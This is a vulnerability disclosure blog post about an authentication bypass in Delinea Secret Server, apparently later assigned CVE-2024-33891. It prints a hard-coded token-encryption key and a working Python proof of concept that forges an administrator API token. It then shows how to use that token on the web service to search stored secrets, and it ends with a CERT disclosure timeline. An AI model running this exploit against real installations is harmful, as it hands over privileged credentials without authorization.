“All Your Secrets Are Belong To Us” — A Delinea Secret Server AuthN/AuthZ Bypass

Johnny Yu (@straight_blast)
7 min readApr 10, 2024

Update:

04/30/2024 — MITRE assigned CVE-2024–33891

04/13/2024 — The patch 11.7.1 for Delinea Secret Server is available — https://docs.delinea.com/online-help/secret-server/release-notes/ss-rn-11-7-000001.htm

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —

Delinea Secret Server is a privileged access management (PAM) solution that helps organizations secure, manage, and monitor privileged accounts and access across their IT infrastructure.

Accessing the application through the web UI requires standard username and password authentication. Additionally, it supports supplementary security measures like 2FA. Moreover, the application provides a set of web services accessible via an API token.

As part of my personal security research, I downloaded the Delinea Secret Server On-Permises to hunt for vulnerabilities. The product’s version at the time I downloaded it was 16.000004. After installing the product, I looked into its directory and noted it was an ASP.NET application. I immediately review the web.config file as it serves as a roadmap to where potential attack surface could be at. I was looking for pages and resources that do not require AuthN/AuthZ. I found a webservice endpoint that did not sit behind a login page,

  • SecretServer/webservices/SSWebService.asmx

and I explored the APIs to evaluate their functionalities.

Unfortunately, I could not exercise the APIs as they require an API token.

My initial thought was it would be a waste of effort to audit the API token implementation, as I felt such critical component would’ve went through rigorous security review. I took a leap of faith and dived into the decompiled code, which led me to astonishing discoveries.

For all web service requests, the API token is checked for validity via Thycotic.ihawu.Business.Authentication NS -> ValidTokenProvider class -> IsValidToken function from Thycotic.ihawu.Business.dll

... snipped ...
authenticationTicket = this._oAuthAuthOptions.AccessTokenFormat.Unprotect(encryptedToken);
num = (short)883621889;
num2 = (int)((IntPtr)num);
continue;
... snipped ...

The IsValidToken function will first deserialize the API token by calling the Thycotic.Identity.Formatters NS -> SecureTokenFormatter class -> Unprotect function from Thycotic.Identity.dll. The deserialization comprise of the following steps:

  1. Base64 decode incoming string (API token)
  2. Decrypt the decoded string (API token)
  3. Deserialize the decrypted content into a Microsoft.Owin.Security.AuthenticationTicket object
public AuthenticationTicket Unprotect(string text)
{
byte[] protectedData = this._encoder.Decode(text);
byte[] data = this._protector.Unprotect(protectedData);
return this._serializer.Deserialize(data);
}

The first discovery resides in the Unprotect function, where it decrypts the API token with a hard-coded key.

The Unprotect function is located in Thycotic.Identity.dll -> Thycotic.Identity.Protectors NS -> ThycoticDataProtector class.

public byte[] Unprotect(byte[] protectedData)
{
byte[] key = this._keyProvider.GetKey();
if (key == null)
{
throw new SecurityException("Invalid Key");
}
byte[] first = protectedData.Take(2).ToArray<byte>();
... snipped ...

The call to _keyProvider.GetKey() leads to the following:

namespace Thycotic.Identity.Providers
{
// Token: 0x02000009 RID: 9
public class KeyProvider : IKeyProvider
{
// Token: 0x06000017 RID: 23 RVA: 0x000021CA File Offset: 0x000003CA
public byte[] GetKey()
{
return new byte[]
{
94,
236,
230,
169,
211,
147,
133,
245,
121,
91,
206,
177,
186,
5,
69,
44,
76,
117,
133,
146,
11,
237,
91,
37,
252,
151,
171,
17,
83,
67,
193,
141
};
}
}
}

The uncovering of hard-coded key served as a motivator to investigate the rest of the API token checking mechanism.

When the API token is deserialized into a Microsoft.Owin.Security.AuthenticationTicket object, the next step in the IsValidToken function is to retrieve the user profile from it.

... snipped ...
IL_291:
user = this._owinClaimHelper.GetUser(authenticationTicket.Identity.Claims);
num = (short)235012100;
num2 = (int)((IntPtr)num);
... snipped ...

The GetUser function is located in Thycotic.ihawu.Business.Authentication NS -> OwinClaimHelper class under Thycotic.ihawu.Business.dll, and this logic retrieves the user profile from the nameidentifier property which holds an Integer string.

Through dynamic analysis, I observed every user profile is represented with an Integer value in consecutive order. Integer 2 is always the Admin user (note: This user profile gets create as part of the installation of the application).

The attack path is starting to take shape. If we know the hard-coded key to deserializing the API token and we know the Integer value associated with the Admin profile, we should be able to craft a serialized API token with Admin role, and net access to any Delinea Secret Server’s protected resources through the web services API.

The story is not complete without encountering and getting pass roadblock. I encountered a hurdle in this section of the IsValidToken function:

... snipped ..
Claim claim;
Guid oauthExpirationId = new Guid(claim.Value);
oauthExpiration = this._oAuthExpirationService.Load(oauthExpirationId);
num = (short)455344133;
num2 = (int)((IntPtr)num);
... snipped ...

The oauthExpirationId property is accessible through Microsoft.Owin.Security.AuthenticationTicket object, and this property contains a UUIDv4 value that gets generated per user authentication. For example, when user Admin authenticates through the web UI, an AuthenticationTicket object is created along with a timestamp that is stored in the application cache. When a user access a web service with an API token, the deserialized AuthenticationTicket object will use the UUIDv4 value stored in oauthExpirationId to reference the timestamp in application cache to determine when the associated AuthenticationTicket object was created. This is to ensure an API token is tied to an authenticated user.

This puts a stop towards the attack path because there is no way to determine a valid UUIDv4 value generated by the application. The goal of crafting a AuthN/AuthZ bypass vanished.

While I encountered setback, what is the next best thing I can do? It turns out the UUIDv4 value does not have any association with a user profile. So user Alice can use user Bob’s oauthExpirationId UUIDv4 value as long as the referenced timestamp have not expired. I was able to figured this out by editing the values manually with the DnSpy debugger. This gives an avenue for a Local Privilege Escalation path:

  1. A low privileged user (Bob) authenticates to the application and collect its API token.

2. Bob examines its API token and extract the oauthExpirationId value.

3. Bob crafts an Admin privileged AuthenticationTicket with the nameidentifer property set to 2, and the oauthExpirationId it had from its original API token, and finishes off with encrypting and serializing the AuthenticationTicket into an API token with the hard-coded key.

This is a pretty good attack path, but I wasn’t satisfy with the result. My instinct tells me there should be a way with getting a full AuthN/AuthZ bypass, and I should not settle for a LPE.

The final discovery that led to a full AuthN/AuthZ bypass for any Delinea Secret Server is very simple and was something I overlooked. It turns out if I remove the oauthExpirationId attribute from the AuthenticationTicket object, the timestamp check will not get invoked!

Coincidentally after my discovery, Delinea released version 11.6.000025 of their Secret Server, which still have the security issues described in this blog post.

3/28/2024 Update: Delinea Secret Server latest version 11.7.000000 is vulnerable as well.

PoC || GTFO

1. Download Delinea Secret Server and install it (https://support.delinea.com/s/download-onprem) — to use their DLL files.

2. Install python, for my instance, python is installed to C:\Users\Administrator\AppData\Local\Programs\Python\Python312\python.exe

3. Install pythonnet, which allows python to talk to .NET: C:\Users\Administrator\AppData\Local\Programs\Python\Python312\python.exe -m pip install pythonnet

4. Open cmd.exe and go to C:\inetpub\wwwroot\SecretServer\bin

5. Run C:\Users\Administrator\AppData\Local\Programs\Python\Python312\python.exe under C:\inetpub\wwwroot\SecretServer\bin

6. Copy & Paste the following python code into Python interpreter to generate the Golden token:

import clr
clr.AddReference("Thycotic.Identity")
clr.AddReference("Microsoft.Owin.Security")
import sys
from System import *
from System.Security.Claims import *
from Microsoft.Owin.Security import *
from Thycotic.Identity.Providers import *
from Thycotic.Identity.Formatters import *
from Thycotic.Identity.Protectors import *

def buildToken(id):
claimsIdentity = ClaimsIdentity("ExternalBearer", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name", "http://schemas.microsoft.com/ws/2008/06/identity/claims/role")
claimsIdentity.AddClaim(Claim("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier", str(id), "http://www.w3.org/2001/XMLSchema#integer", "Thycotic.Identity", "Thycotic.Identity"))
properties = AuthenticationProperties()
properties.IssuedUtc = DateTimeOffset.UtcNow.Add(TimeSpan(0,0,0,0))
properties.IsPersistent = False
authenticationTicket = AuthenticationTicket(claimsIdentity, properties)
keyProvider = KeyProvider()
dataProtector = ThycoticDataProtector(keyProvider)
secureTokenFormatter = SecureTokenFormatter(dataProtector)
token = secureTokenFormatter.Protect(authenticationTicket)
return token

buildToken(2)

7. Browse to http://<target>/SecretServer/webservices/SSWebService.asmx?op=WhoAmI and paste the token into the POST field and observe the Admin profile is returned. note: <target> can be localhost

8.

For more serious impact:

Make a SOAP request to http://<target>/SecretServer/webservices/SSWebService.asmx?op=SearchSecrets — to obtain stored secrets

Disclosure Timeline

2/12/2024 — I sent an email to Delinea, and their response stated that I am ineligible to open a case since I am not affiliated with a paying customer/organization.

02/12/2024 — I reached out to CERT to coordinate responsible disclosure with Delinea. CERT opened case VU#979120

02/16/2024 — Status update from CERT noted Delinea did not respond

02/23/2024 — Status update from CERT noted Delinea did not respond

03/05/2024 — Status update from CERT noted Delinea did not respond

03/18/2024 — Status update from CERT noted Delinea did not respond. CERT extended disclosure deadline to 04/03/2024

03/28/2024 — No update, no response

04/03/2024 — No update, no response. CERT extended disclosure deadline to 04/10/2024

04/10/2024 — Public disclosure of the vulnerability

04/12/2024 — Delinea acknowledged the finding and is addressing it — https://trust.delinea.com/?tcuUid=17aaf4ef-ada9-46d5-bf97-abd3b07daae3

--

--